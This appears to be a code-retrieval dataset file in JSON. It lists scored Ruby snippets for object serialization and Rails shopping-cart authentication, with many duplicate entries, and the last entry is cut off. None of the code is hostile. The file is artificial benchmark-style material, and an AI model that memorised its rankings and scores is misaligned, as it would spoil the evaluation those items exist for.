[ { "docid": "88cfcec185bad7a5b151c23140a96b48", "score": "0.68992174", "text": "def serialize(object); object; end", "title": "" }, { "docid": "e12ab37cbe4878a1d301aba0d973ea1c", "score": "0.68927836", "text": "def to_yaml_object\n # not implemented because I don't use it\n yaml_object = {}\n yaml_object\n end", "title": "" }, { "docid": "859fe4a47cfa69df11f23ebdd460d321", "score": "0.6851055", "text": "def dump(object)\n object.serialize\n end", "title": "" }, { "docid": "6e12896a516f44f7242feb874b586488", "score": "0.6823807", "text": "def serialize\n YAML::dump(self)\n end", "title": "" }, { "docid": "a22d23bd892af3f6219e8a1d0790cccf", "score": "0.67578775", "text": "def serialize\n require 'yaml'\n YAML.dump(self)\n end", "title": "" }, { "docid": "762bca0e2db3ff19d91cc4521bb1e1d9", "score": "0.67198926", "text": "def serialize(object) end", "title": "" }, { "docid": "762bca0e2db3ff19d91cc4521bb1e1d9", "score": "0.67198926", "text": "def serialize(object) end", "title": "" }, { "docid": "5ec889d27a2888562d90be1ab0c373d9", "score": "0.6709211", "text": "def serialise\n YAML::dump(self)\n end", "title": "" }, { "docid": "8268aec81c2fe492744b7b1e15d23757", "score": "0.6647502", "text": "def dump(obj)\n\t\t \traise TypeError, \"Serialization failed: Object is not of type #{self.name}.\" if !obj.kind_of?(self) && !obj.nil?\n\n\t\t \tif obj.nil?\n\t\t \t\tself.new\n\t\t else\n\t\t \tobj.class.new(obj.registry.as_hash).to_yaml if obj\n\t\t\t end\n\t\t end", "title": "" }, { "docid": "de3921433415dbe692fac0b3eee28f7f", "score": "0.6627678", "text": "def write\n __gc\n __serialize @object\n end", "title": "" }, { "docid": "ba42800f78e2280390b525201c1a7f6e", "score": "0.6592278", "text": "def save obj\n file.puts obj\n obj\n end", "title": "" }, { "docid": "abd108dbe24f9497606bbcfb9f86f3a3", "score": "0.652449", "text": "def dump(object)\n Marshal.dump(object)\n end", "title": "" }, { "docid": "a2b66add59a4aadf7cd07edfa84c0bcd", "score": "0.65188646", "text": "def save\n @logger.debug \"Saving state to #{@file}\"\n File.open(@file, 'w') { |f| f.write(@hash.to_yaml) }\n end", "title": "" }, { "docid": "2612726105e7c2c8a68dd8708c197a4b", "score": "0.6495237", "text": "def restore_from_dump!; end", "title": "" }, { "docid": "7dae8a7ca9edcb30c50c1d608c2e81c2", "score": "0.64912105", "text": "def save_state\n make_dir\n File.open(state_file, \"w\"){|f| f << state.to_yaml }\n end", "title": "" }, { "docid": "f8f96cf57130ba9dcf78708bcd901e56", "score": "0.6477531", "text": "def dump\n @mapper.dump(@object)\n end", "title": "" }, { "docid": "2e8ecd440b3695f911c3a36c73d62f6a", "score": "0.6465079", "text": "def saveData\n YAML.dump @data\n end", "title": "" }, { "docid": "7237c24ecf1c95c3077990084095e0a3", "score": "0.64619863", "text": "def store(obj, time=Time.now)\n name = generate_unique_name(time)\n \n File.open(name, 'w') do |file|\n file.print obj.to_yaml\n end\n FileUtils.ln_s(File.expand_path(name), yaml_for('current'), :force => true)\n \n @current = obj\n end", "title": "" }, { "docid": "d4880439bd16d5ed1d04585447e38783", "score": "0.64374125", "text": "def dump_to_draft\n Marshal.dump(instance_values)\n end", "title": "" }, { "docid": "d4880439bd16d5ed1d04585447e38783", "score": "0.64374125", "text": "def dump_to_draft\n Marshal.dump(instance_values)\n end", "title": "" }, { "docid": "1fe818d74b50c8b7bc247e3463a57d24", "score": "0.6430963", "text": "def marshal(obj)\n YAML.dump obj\n end", "title": "" }, { "docid": "f5ed89a00500765a53b38cb5fede2f82", "score": "0.64195865", "text": "def yaml_save object, filename\n File.open filename, \"w\" do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "a15307ff1a9b0de697fb3e9fa0b2fd83", "score": "0.641428", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "b7e586199f21a0b859235394c506ea75", "score": "0.64051086", "text": "def write_yaml(object); write object.to_yaml; end", "title": "" }, { "docid": "fa0b8e8c25a2011a0429c8b1210c0734", "score": "0.64034635", "text": "def yaml_save object, filename\n File.open filename, \"w\" do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "d162e297d0f84ca205afa381c3f6a428", "score": "0.63943994", "text": "def serialize\n Marshal.dump(self)\n end", "title": "" }, { "docid": "7a59d017c86d5d99b9480520c0668b72", "score": "0.6364747", "text": "def save_s; inspect; end", "title": "" }, { "docid": "f82ff4716bf96ef2807b5d6b302020d0", "score": "0.63635767", "text": "def save\r\n ConcreteMemento.new(@state)\r\n end", "title": "" }, { "docid": "dacde37bcc885607f8552b9e966eb400", "score": "0.63546586", "text": "def to_inki_object\n\t\tYAML.load(self.serialized_object)\n\tend", "title": "" }, { "docid": "e2924cea299b70bdd688fb4067c95579", "score": "0.6347475", "text": "def yaml_save object, filename\r\n\tFile.open filename , \"w\" do |f|\r\n\t\tf.write(object.to_yaml)\r\n\tend\r\nend", "title": "" }, { "docid": "a6fd687e3eaaed8f08a9ce7b35efdd46", "score": "0.6334563", "text": "def to_objects\n require 'yaml'\n YAML.load(self.to_s)\n end", "title": "" }, { "docid": "d878496dd25b37e05dae9334ca816425", "score": "0.63295996", "text": "def save(obj, path)\n yaml = YAML.dump obj\n File.write path, yaml, mode: \"w\"\nend", "title": "" }, { "docid": "2451854c65bdb05954b2740dc077771c", "score": "0.6302912", "text": "def yaml_save object, filename\n File.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend", "title": "" }, { "docid": "6c4308e70028d17e84682e9b13128ee6", "score": "0.63010454", "text": "def _dump(depth=-1)\n Marshal.dump(@objects_storage_container, depth)\n end", "title": "" }, { "docid": "e64e8f2e008065666f7330d80cfaf046", "score": "0.62890035", "text": "def save\n File.write @file, YAML.dump(marshal_dump)\n end", "title": "" }, { "docid": "d5d9b99bc1596c70852153578dac1a7b", "score": "0.62782806", "text": "def persist\n unless @persisted\n machine.write(object, :state, to)\n @persisted = true\n end\n end", "title": "" }, { "docid": "d5d9b99bc1596c70852153578dac1a7b", "score": "0.62782806", "text": "def persist\n unless @persisted\n machine.write(object, :state, to)\n @persisted = true\n end\n end", "title": "" }, { "docid": "a93b6689da4cedcfe17106f9dca10066", "score": "0.6272254", "text": "def marshal_dump\n to_h\n end", "title": "" }, { "docid": "373bc0124d133d7743a333f9ef28207b", "score": "0.62706757", "text": "def save\n save_to_disk(JSON.parse(self.to_json))\n end", "title": "" }, { "docid": "63835a9028e1abbed6215180bf9c16c5", "score": "0.6261623", "text": "def write\n __serialize @object\n __context.references.dump\n end", "title": "" }, { "docid": "4a3175c9343adfa1948867c72333b0cd", "score": "0.6249941", "text": "def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend", "title": "" }, { "docid": "b9840caed8990784f8d3cbc9f4a7e70d", "score": "0.6246745", "text": "def save\n ConcreteMemento.new(@state)\n end", "title": "" }, { "docid": "4d1230887a27efdb2fa0c502362bdbdc", "score": "0.62460876", "text": "def yaml_save(object, filename)\n File.open filename, \"w\" do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "f53be88f7486b73a4fa32b1daa80b36c", "score": "0.6243435", "text": "def yaml_save(object, filename)\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "title": "" }, { "docid": "c3f300da52c35feb622e36fb3837f27d", "score": "0.6213101", "text": "def call\n select_output do |output|\n output.write(serialized_object.to_yaml)\n end\n end", "title": "" }, { "docid": "1d0db8aff2c934c2c5f89d4ec2783835", "score": "0.62105566", "text": "def dump(object)\n @attributes.dump(object)\n end", "title": "" }, { "docid": "d3847fa8196174c471eabe151077afcb", "score": "0.6192225", "text": "def dump_state\n f = File.new(File.join(File.dirname(File.expand_path(__FILE__)),\"..\",\"saves\",\"#{Time.now.strftime(\"%Y_%m_%d_%H_%M\")}.yaml\"),\"w\")\n f << YAML.dump([@master_players, @rooms, @items, @mobiles, @default_room])\n f.close\n puts \"Saved game.\"\n end", "title": "" }, { "docid": "5a57c267837f43d3b7bf1458787222aa", "score": "0.61791646", "text": "def save\n converted_data = Puppet::Pops::Serialization::ToDataConverter.convert(\n @new_data, {\n symbol_as_string: false,\n local_reference: false,\n type_by_reference: true,\n force_symbol: true,\n silence_warnings: true,\n message_prefix: to_s\n }\n )\n Puppet::Util::Yaml.dump(converted_data, Puppet[:transactionstorefile])\n end", "title": "" }, { "docid": "9749e4224b7159024f766592f8286238", "score": "0.61785924", "text": "def marshal_dump()\n\t\treturn [@state, @hypothesis, @posY, @posX, @nextHypothesis]\n\tend", "title": "" }, { "docid": "a3d94363e7484e1cf6b40a2e391ac8ec", "score": "0.61654544", "text": "def yaml_save filename,object\n\tFile.open filename,'w' do |f|\n\t\tf.write object.to_yaml\n\tend\nend", "title": "" }, { "docid": "657fb04aa28dc6f9be243adc565b3f7b", "score": "0.61602217", "text": "def serialize\n self.to_h\n end", "title": "" }, { "docid": "b7b4b431d1e4eb11f866d0ced10cfe21", "score": "0.6158432", "text": "def _create_yaml_from_objects\n\n @log.debug(\"Creating a Save File>\")\n save = ::OpenStruct.new\n # We need plan, plan id, project, project id\n ['plan','plan_id','project','project_id','available_platforms'].each do |element|\n save.send(\"#{element}=\", self.send(element))\n end\n # And the testcases\n @log.debug(\"adding testcases to save...\")\n save.test_cases = []\n self.test_cases.each do |tc|\n save.test_cases << tc\n end\n @log.debug(\"Converting save to YAML...\")\n save = save.to_yaml\n @log.debug('Save conversion done <')\n return save\n end", "title": "" }, { "docid": "46418ac2caee7b23d05cd3641adeeae3", "score": "0.61431444", "text": "def dump; @contents.dup; end", "title": "" }, { "docid": "e6d6cb4581856a808fe341ab1c3b0668", "score": "0.6119552", "text": "def store\n # Serialize structure consisting of tagstxt and specialtags\n savestr = YAML::dump( { :tagstxt => (@tagstxt || \"\"), :tagtype => @tagtype, :page => @cur_page || 1 } ) \n back = YAML::load(savestr)\n savestr\n end", "title": "" }, { "docid": "83700eb68e2fc20b5e12e4da4b7210bc", "score": "0.6117105", "text": "def save object, filename #You can put the write (save) portion in one method...\n File.open filename, 'w' do |f| #\"W\" is for \"write-access\", allows us to write the file.\n f.write object.to_yaml #\".write\" 's the variable \"string_content\" in to the file.\n end #Ruby closes the file for you automatically.\nend", "title": "" }, { "docid": "fa4b6fe5e00882a55a01397123a6126a", "score": "0.6108845", "text": "def to_yaml\n YAML.dump to_a\n end", "title": "" }, { "docid": "179425f043fe0a721222bf8dec351749", "score": "0.6091216", "text": "def dump(object)\n converted = convert(object)\n Marshal.dump(converted)\n end", "title": "" }, { "docid": "ac27f8b84283d2a99d976d9ea42f3b5c", "score": "0.60826194", "text": "def save\n state = with_services { |name, service| [name, service.state] }.to_h\n File.open(@config.cache, \"wb\") { |f| f.puts state.to_yaml }\n end", "title": "" }, { "docid": "ebfaccc485064c7e8e10b19230f9a285", "score": "0.6078361", "text": "def write_state obj, override=false\n # read the ~/.bro file and load the settings as defaults\n # we don't want to lose data if we're not writing over it all\n read_state.each {|k,v|\n obj[k] = v if obj[k].nil?\n } unless override # unless we pass in strict parsing\n\n # actually serialize the data and write the file\n File.open(@file, 'w') do |file|\n data_pairs = obj.collect{ |k,v| \"#{k}=#{v}\" }\n file.write data_pairs.join(\";\") + \"\\n\"\n end\n end", "title": "" }, { "docid": "2ff6c644e4cfe9aa25179922976dcc66", "score": "0.6076806", "text": "def save\n result = { entities: [], players: [], subplots: [], instance_variables: {} }\n entity_store.clear\n player_store.clear\n entity_store.concat plot.entities\n player_store.concat plot.players\n plot.subplots.each { |s| entity_store.concat s.entities }\n entity_store.uniq!\n entity_store.each do |e|\n result[:entities].push hash_entity(e)\n end\n player_store.each do |p|\n result[:players].push hash_entity(p)\n end\n plot.theater.instance_variables.each { |i|\n v = plot.theater.instance_variable_get(i)\n result[:instance_variables][i] = serialize(v) if can_serialize?(v)\n }\n plot.subplots.each { |s|\n result[:subplots].push hash_subplot(s)\n }\n result\n end", "title": "" }, { "docid": "22248e8df78abdd307fdea4dd2c867c3", "score": "0.6068747", "text": "def save\n puts inspect\n end", "title": "" }, { "docid": "05d1cf9f7bc5ff8b33269555b493af24", "score": "0.6062191", "text": "def dump\r\n #TODO\r\n end", "title": "" }, { "docid": "a61efae2713bc8affbca5017633b337c", "score": "0.6052588", "text": "def dump(obj)\n YAML.dump serialize([obj]).first\n rescue URI::InvalidURIError, URI::GID::MissingModelIdError => error\n raise SerializationEventError, object: obj, error: error\n end", "title": "" }, { "docid": "a7c8030603b6e259f46aa81d558b7350", "score": "0.604941", "text": "def save_state\n\t\t\t@saved_stack = @stack.dup\n\t\tend", "title": "" }, { "docid": "8c49c8134d241aa4051487553368ab68", "score": "0.60402787", "text": "def marshal_dump\n to_hash\n end", "title": "" }, { "docid": "28e1ca2204967bcb3b3b33fe5ff968e4", "score": "0.6040263", "text": "def serialize!; end", "title": "" }, { "docid": "0767dffabf154730a57e9e6f52064436", "score": "0.6028952", "text": "def save!\n File.write(@path, self.to_yaml)\n end", "title": "" }, { "docid": "10bc5ec6e0a1985e1b46bc7faf019a4e", "score": "0.6012109", "text": "def marshal_dump\n @attributes\n end", "title": "" }, { "docid": "007a470b95a806b6f10251a9cd7ec3ab", "score": "0.6007047", "text": "def remember state\n File.open path_to_file, \"w\" do |file|\n file.write state.to_yaml\n end\n end", "title": "" }, { "docid": "b8ef86eb19c6b8f6fbd87303e81ce03b", "score": "0.6004316", "text": "def save!\n pieces = YAML.load_file(self.class.data_path)\n\n pieces.delete_at(pieces.index { |piece| piece[:key] == key })\n pieces.push(to_h)\n\n File.write(self.class.data_path, pieces.to_yaml)\n end", "title": "" }, { "docid": "43f6bb08e5e9b20b0d850be14797ebae", "score": "0.600318", "text": "def to_yaml\n YAML::dump(self.to_hash)\n end", "title": "" }, { "docid": "de2aaa4eee062d11a57237ee9d2a17d2", "score": "0.5993197", "text": "def save\n return unless @@yml\n File.open(@@path, 'w', 0600){|f| f.write(@@yml.to_yaml)}\n end", "title": "" }, { "docid": "027432bb6e6d480f59e9b4b0daeea438", "score": "0.59921837", "text": "def save(obj)\n dump = @dumper.dump(obj)\n digest = @digest.digest(dump)\n @db[digest] = dump\n return digest\nend", "title": "" }, { "docid": "23ecb7d0944905aa2445e20c84d32278", "score": "0.5990417", "text": "def save_game\n yaml = YAML::dump(self)\n File.open(@@SAVE, 'w') do |f|\n f.puts yaml\n end\n end", "title": "" }, { "docid": "42f711ba9930bfd7770d8f92242288a7", "score": "0.5989903", "text": "def dump(object)\n JsonDocument.new(object).compress\n end", "title": "" }, { "docid": "816c2ab84a6575f76542947c95920051", "score": "0.5978269", "text": "def structure_dump() end", "title": "" }, { "docid": "a6c97744c0f5403b1912448b804bbb3d", "score": "0.59766304", "text": "def save\n Cache::ensure_cache_exists\n File.open(file,'w'){ |io| io.puts YAML::dump(@data) }\n end", "title": "" }, { "docid": "f04afde0b9807816803f34a3d5abafcd", "score": "0.59755397", "text": "def to_yaml\n\t\tYAML::dump(self.to_hash)\n\tend", "title": "" }, { "docid": "2248e9e8530ac1cb3abf9b38024a7aa7", "score": "0.5961282", "text": "def _dump(*)\n Marshal.dump(to_a)\n end", "title": "" }, { "docid": "103757b6a181b9089356d2199c8cd7fb", "score": "0.59542465", "text": "def dump\n @contents.dup\n end", "title": "" }, { "docid": "619f3da98cde8e178f2cb0973798acce", "score": "0.5953335", "text": "def save\n save_data self.to_hash\n self\n end", "title": "" }, { "docid": "8b7468dc5f7b0a0b94fbb6f0295a70cc", "score": "0.5948577", "text": "def save\n $gtk.serialize_state(state_filename, $gtk.args.state)\n end", "title": "" }, { "docid": "650142b3fdf589633088905b422ae5af", "score": "0.5942953", "text": "def serialize(object, data); end", "title": "" }, { "docid": "7074b8b28c11ce422e0468a1f46804dc", "score": "0.59367424", "text": "def to_yaml\n to_h.to_yaml\n end", "title": "" }, { "docid": "85199ad8fda3505f2a67d647d91f5461", "score": "0.59299254", "text": "def serialize(object)\n PHP.serialize(object)\n end", "title": "" }, { "docid": "b5843e03b278de7ccd2ac52a7fadf595", "score": "0.59261054", "text": "def yamsave(obj, filename)\n File.open(filename, \"w\") { |x|\n x.write(obj.to_yaml)\n }\nend", "title": "" }, { "docid": "23d1a14143263461b3549818db153bd1", "score": "0.5923169", "text": "def to_yaml\n to_hash.to_yaml\n end", "title": "" }, { "docid": "23d1a14143263461b3549818db153bd1", "score": "0.5923169", "text": "def to_yaml\n to_hash.to_yaml\n end", "title": "" }, { "docid": "900d24dc8dc3fd64dde943144dd80fe2", "score": "0.59134346", "text": "def to_ary\n snapshot\n end", "title": "" }, { "docid": "467ca0a6df4c1f820d85700c3dd7b04c", "score": "0.5909341", "text": "def dump(object)\n JsonDocument.new(@config, object).encrypt\n end", "title": "" }, { "docid": "d4e190e574b5effe8de57e8c74a0e3e8", "score": "0.590027", "text": "def save\n return unless @file\n File.open(@file, 'w') do |out|\n YAML.dump(as_list, out)\n end\n end", "title": "" } ]
7e139db1877698da93345d5e2942edeb
before_action :authenticate_user! before_action :check_cart!
[ { "docid": "0037244db3aafdd6bb9ca7eb3c42aa63", "score": "0.0", "text": "def new\n @client_token = generate_client_token\n end", "title": "" } ]
[ { "docid": "651ea6daf15cff439350649bcf7a6673", "score": "0.73431176", "text": "def verify_cart\n if !@cart || (@cart && @cart.empty?)\n redirect_to advocate_account_products_path\n return false\n end\n true\n end", "title": "" }, { "docid": "aadc6fe284d254c7692088308b9a9fa6", "score": "0.71089286", "text": "def show\n if @shopping_cart.id != current_user.id\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "d9fd351b4967824115910fe4bbc2e6bc", "score": "0.706865", "text": "def set_cart_user\n if user_signed_in? && current_user.cart \n @cart = current_user.cart\n else !current_user.cart\n @cart = Cart.create(user_id: current_user.id)\n end\n end", "title": "" }, { "docid": "28ee77600d060e39b382535b7c0d91df", "score": "0.7057041", "text": "def check_cart_items\n if !@cart.order_items.present?\n \tflash[:danger] = \"You need to add items to card to make a new order\"\n redirect_to root_path\n \t end\n end", "title": "" }, { "docid": "74f512aedb79803e77ea7d05fd00e62d", "score": "0.70387894", "text": "def access_only_your_cart\n #debugger\n if params[:id].to_i != session[:cart_id]\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "836459c2cec6cc73d5410b82d3a728da", "score": "0.6926715", "text": "def cart\n @cart = current_cart if user_signed_in?\n end", "title": "" }, { "docid": "3f23bf4170bdff2989e63a952104ec57", "score": "0.69231343", "text": "def empty_cart\n current_user.empty_cart\n \n redirect_to dashboard_path\n end", "title": "" }, { "docid": "548f5edea1efc27c0d21688bc65ae1e1", "score": "0.6913179", "text": "def check_cart\n render_api_error(22,400,'error',{\"order_products.product\": [\"Bag is Empty\"]}) if (params[:order][:order_products_attributes].blank? || Cart.where(user_id: current_user.id).count == 0)\n end", "title": "" }, { "docid": "89c48358a40ff25940d144cf58201ceb", "score": "0.690816", "text": "def create\n self.resource = warden.authenticate!(auth_options)\n set_flash_message(:notice, :signed_in) #if is_navigation_format?\n sign_in(resource_name, resource)\n @cart = Cart.find(session[:cart_id])\n # @cart.user_id = current_user.id\n # @cart.save\n # debugger\n if @cart.carts_products.empty?\n redirect_to import_cart_path\n else\n # respond_with resource, :location => after_sign_in_path_for(resource)\n redirect_to import_path\n end\n end", "title": "" }, { "docid": "4d9acdb1919897517ed1df98493a5c32", "score": "0.68890655", "text": "def index\n # if user_signed_in?\n @order = Order.find_by(:user_id => current_user.id, :status => \"carted\")\n if @order\n @carted_products = @order.carted_products\n else\n flash[:warning] = \"There is nothing in your shopping cart.\"\n redirect_to \"/\"\n end\n # else\n # flash[:warning] = \"You can't do that, dear friend!\"\n # redirect_to \"/\"\n # end\n end", "title": "" }, { "docid": "8171af17b6cbad5edaebf324ff8004d7", "score": "0.68755", "text": "def verify_permission\n (current_user.nil?) ? redirect_to(shop_path) : (redirect_to(shop_path) unless current_user.stockproduct_permission?)\n end", "title": "" }, { "docid": "b15c69e18c75a8bbe63a7ced396aafe1", "score": "0.684509", "text": "def after_database_authentication\n set_current_cart\n end", "title": "" }, { "docid": "c46bbfa88f02d5e896d0084efe9644bf", "score": "0.6819885", "text": "def session_cart!\n \tif self.class.use_marketplace\n \t\tmarketplace_session_cart!\n \telse\n \t\tglobal_session_cart!\n \tend\n end", "title": "" }, { "docid": "1ec6ad215334c1645934c2a243350598", "score": "0.6814833", "text": "def index\n @cart = current_cart\n @user = current_user\n redirect_to @user\n end", "title": "" }, { "docid": "a4bb81907fdd0694e63977ac1a1f5bf5", "score": "0.67782676", "text": "def show\n require_appropriate_access(@cart.user)\n end", "title": "" }, { "docid": "1882a40dff45320d3cc20fa5a62bb921", "score": "0.67272896", "text": "def logging_in\n cart = guest_user.cart\n current_user.cart = cart\n end", "title": "" }, { "docid": "56448c9586843dfa465b47a4e93491fb", "score": "0.66952467", "text": "def current_cart\n @current_cart ||= load_cart_from_session unless @current_cart == false\nend", "title": "" }, { "docid": "922a04fdfa455dd1fce26e3d2f6f6623", "score": "0.66780984", "text": "def set_cart\n if user_signed_in?\n if params[:gift].present?\n @cart_items = []\n else\n @cart_items = CartItem.where(user_id: current_user.id)\n end\n else\n @cart_items = []\n end\n end", "title": "" }, { "docid": "c3dd1cfd21b8965f974e09cf437d4a84", "score": "0.664402", "text": "def create\n user = User.find(session[:user_id])\n \n if user.identity != \"customer\"\n respond_to do |format|\n format.html { redirect_to carts_path, notice: \"Attempt to add a cart, failure: You are not a customer !!\" }\n end\n \n else \n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n session[:cart_id] = @cart.id\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end\n \n end", "title": "" }, { "docid": "417f7c738c4e0e8c86c12aabcf2fc03f", "score": "0.66251385", "text": "def show\n cart_validation if @cart.order_products.present?\n end", "title": "" }, { "docid": "a7fa4e15b0bb63fe89d22100baf4b7fe", "score": "0.66226155", "text": "def prepare_cart\n get new_customer_session_path\n\n # make a good login\n post new_customer_session_path, 'customer[email]' => customers(:buyer_one).email, 'customer[password]' => 'Helloworld1*'\n follow_redirect!\n\n assert_equal 200, status\n assert_equal root_path, path\n assert_equal I18n.t('customers.sessions.signed_in'), flash[:notice]\n assert_select '.alert-success p', I18n.t('customers.sessions.signed_in')\n\n @current_customer = assigns(:current_customer)\n\n assert_not_nil @current_customer\n\n post buy_product_path(product_id: products(:free_from_seller_one).id)\n post buy_product_path(product_id: products(:one_from_seller_one).id)\n post buy_product_path(product_id: products(:two_from_seller_one).id)\n post buy_product_path(product_id: products(:one_from_seller_two).id)\n post buy_product_path(product_id: products(:one_from_seller_no_stripe).id)\n\n # we have an order\n @current_order = assigns(:current_order)\n assert @current_order.order_items.count, 5\n\n get checkout_path\n\n # some products have already been ordered\n assert_equal I18n.t('dialog.shop.notice_already_ordered'), flash[:notice]\n\n assert @current_order.may_confirm?\n\n assert @current_order.order_items.count, 3\n # submit with less products\n get checkout_path\n end", "title": "" }, { "docid": "295f3adb6a5f5dcd9576854499a23024", "score": "0.6617211", "text": "def create\n return unless check_permission\n\n @cart = Cart.new(cart_params)\n @cart.current_user_id = session[:login_id]\n\n if @cart.save\n redirect_to @cart\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "a6f5776479545b00e5095722816bdd4a", "score": "0.66054577", "text": "def checkout\n\tif !logged_in_as_admin?\t\n\t #Invalid or no cookie recieved in request, flash error\n\t redirect_to_home\n\tend\n end", "title": "" }, { "docid": "e48bf748bd730271f6cef12d543566a8", "score": "0.6601381", "text": "def show\n redirect_to catalog_index_path unless session[:cart_id] == @cart.id\n end", "title": "" }, { "docid": "bf1cdab7b1b552d0142c49f55a10abe4", "score": "0.6593315", "text": "def edit\n\n if !@shopping_cart || @shopping_cart.user != @login_user\n render 'layouts/not_found', status: :not_found\n\n # elsif @order.user !=@login_user\n # render 'layouts/not_found', status: :not_found\n else\n render :checkout\n end\n end", "title": "" }, { "docid": "56ddfffbc6b39f78990c737ce8d701b9", "score": "0.6587089", "text": "def check_authentication\n return if spree_current_user\n flash[:error] = t(:must_be_logged_in)\n redirect_to spree_login_path\n end", "title": "" }, { "docid": "499818450b7b6b1dde2666ba2c2e9cbd", "score": "0.65672195", "text": "def login\n session[:login] = 1\n session[:cart] = nil\n redirect_to root\nend", "title": "" }, { "docid": "5ef33efbd1a5d36a74ae92dc41c54c9a", "score": "0.65502256", "text": "def ensure_items_in_cart\n unless @cart.total_items > 0 || @cart.new_membership\n flash[:notice] = \"You need a non-empty cart to view this page\"\n redirect_to :action => 'all_fitness_camps'\n end\n end", "title": "" }, { "docid": "f2f630c07a70141940cd2f53580329b8", "score": "0.6537798", "text": "def set_cart\n @cart = Cart.find_by(user_id: current_user.id)\n end", "title": "" }, { "docid": "267102ee6e0a2e15ebc565f5ebfa74a2", "score": "0.6501255", "text": "def show\n if params[:cart] and params[:cart] != session[:cart_id]\n redirect_to store_url, notice: 'Invalid cart'\n end\n end", "title": "" }, { "docid": "596356c0142871e86ee37541da08e6fb", "score": "0.6493115", "text": "def check_cart\n user = User.find_by(email: @order_nsi.email)\n\n if !user.nil? && !user.cook.nil? && !user.cook.dishes.nil?\n order_items_dishes = @cart.order_items.collect { |order_item| order_item.dish_id }\n cook_dishes = user.cook.dishes.ids\n if !(order_items_dishes & cook_dishes).empty?\n reject_items = @cart.order_items.select { |h| cook_dishes.include? h['dish_id'] }\n reject_items.each do |reject_item|\n reject_item.destroy\n end\n flash[:alert] = \"Argh ! On ne commande pas ses propres popotes...\"\n redirect_to cart_url and return\n end\n end\n return true\n end", "title": "" }, { "docid": "977231293db402487a7772feb7284c1e", "score": "0.6479455", "text": "def login\r\n\t\tlogger.warn('!doing a login in the cart?!')\r\n\tend", "title": "" }, { "docid": "2f0b3a1689a39a5678a31da7a6316e55", "score": "0.6471093", "text": "def find_cart\n session[:cart] ||= Cart.new #later on page 172 the book makes this\n #@cart = (session[:cart] ||= Cart.new)\n # additionally adds to the cbustore_controller.rb\n # before_filter :find_cart, :except => :empty_cart\n #final listing is shown on page 696\n end", "title": "" }, { "docid": "1d4078b5e8a0649dbcae5b3048165807", "score": "0.6467054", "text": "def show\n @cart = current_user.current_cart\nend", "title": "" }, { "docid": "7c5ff996339bf17acf7843b182e38acc", "score": "0.64578056", "text": "def index\n redirect_to \"/\", notice: \"Sorry, You don't have enough rights\" if current_user.nil? || current_user.role?\n @user=current_user\n @carts = Cart.where(user: @user)\n @carts = Cart.all\n end", "title": "" }, { "docid": "6abd16aa3cb24ac35b533290bd169e31", "score": "0.6451388", "text": "def authorize_shopper\n if session[:user_id]==nil\n redirect_to root_url, :notice => \"You are not Logged in!\"\n else\n if User.find(session[:user_id]).status!=User.STATUS_SHOPPER\n redirect_to root_url, :notice => \"You are not a Shopper!\"\n end\n end\n end", "title": "" }, { "docid": "fa7c58e355b8ea7ec98e57f501f0fcfc", "score": "0.6444626", "text": "def set_cart\n @cart = @current_user.cart\n end", "title": "" }, { "docid": "117bf5b1c472da1a3ba32c1f61653439", "score": "0.64408964", "text": "def set_cart\n\n unless Cart.exists?(user_id: current_user.id)\n @cart = Cart.create(user_id: current_user.id)\n else\n @cart = Cart.find_by(user_id: current_user.id)\n end\n\n end", "title": "" }, { "docid": "facee5dcdc48ee864a44678a26e045ea", "score": "0.64351124", "text": "def create\n check_for_create(@auth_shopping_cart)\n @auth_shopping_cart = add_owner_and_signed_in_resource(@auth_shopping_cart)\n \n @auth_shopping_cart.save\n @auth_shopping_cart.prepare_cart\n respond_with @auth_shopping_cart\n end", "title": "" }, { "docid": 